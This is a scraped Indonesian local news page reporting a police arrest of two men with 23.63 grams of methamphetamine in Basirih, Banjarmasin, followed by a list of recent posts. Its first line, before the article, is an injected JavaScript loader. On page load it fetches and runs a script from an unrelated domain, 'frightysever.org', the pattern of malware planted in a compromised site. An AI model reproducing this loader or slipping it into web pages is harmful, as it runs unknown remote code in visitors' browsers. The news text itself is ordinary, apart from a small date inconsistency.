(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

23,63 Gram Sabu Gagal Edar dari Dua Lelaki yang Tertangkap di Basirih


KANALKALIMANTAN.COM, BANJARMASIN – Polsek Banjarmasin Barat mengungkap peredaran narkoba di jalan Purnasakti, Gang Hasan Yamani, Kelurahan Basirih, Kecamatan Banjarmasin Barat, Kota Banjarmasin.

Personel Reskrim Polsek Banjarmasin Barat meringkus dua pelaku yang kedapatan menyimpan satu paket narkotika jenis sabu seberat 23,63 gram.

Kejadian ini pun terjadi pada Jumat (23/6/2023) lalu. Dua pelaku berinisial B (41) alias Udin bersama dengan HM (28) alias Yandi kedapatan melakukan transaksi narkoba di wilayah tersebut.

Udin, warga Jalan Kelayan, Kelurahan Murung Raya Banjarmasin Selatan. Sedangkan Yandi warga jalan Tanjung Berkat, Kelurahan Teluk Tiram, Banjarmasin Barat, keduanya pekerja swasta.

Baca juga: Jual Barang Curian Mobil L-300 ke Batola, Ifit Naga Dibekuk di Basirih Banjarmasin

“Sebelumnya petugas mendapat informasi bahwa di TKP ada transaksi narkotika jenis sabu-sabu,” ungkap Kapolsek Banjarmasin Barat melalui Kanit Reskrim Iptu Firuza Bahri, Senin (10/6/2023).

Barang bukti sabu yang dibawa dua pelaku. Foto: polresbanjarmasinbarat

Personel pun langsung melakukan penyelidikan, di mana hari itu jugamendapati dua pelaku berada di jalanan dengan membawa barang bukti berupa sabu.

“Langsung dilakukan penggledahan di jalan dan ditemukan barang bukti sabu yang sempat dibuang ke jalan,” jelasnya.

Baca juga: Tren Peredaran Gelap Narkoba Menyebar Hampir di Seluruh Kecamatan di Kabupaten Banjar

Tak hanya menemukan sabu pelaku ke jalan, personel kepolisian juga mendapati barang bukti lain yakni satu bungkus makanan ringan dan dua unit handphone Xiaomi dan Vivo.

Polisi pun juga menekukan uang di duga merupakan hasil dari transaksi narkotika sabu itu sebesar Rp 750 ribu.

“Usai digeledah dua pelaku dan barang bukti diamankan ke Mapolsek guna proses hukum lebih lanjut,” pungkas Kanit. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.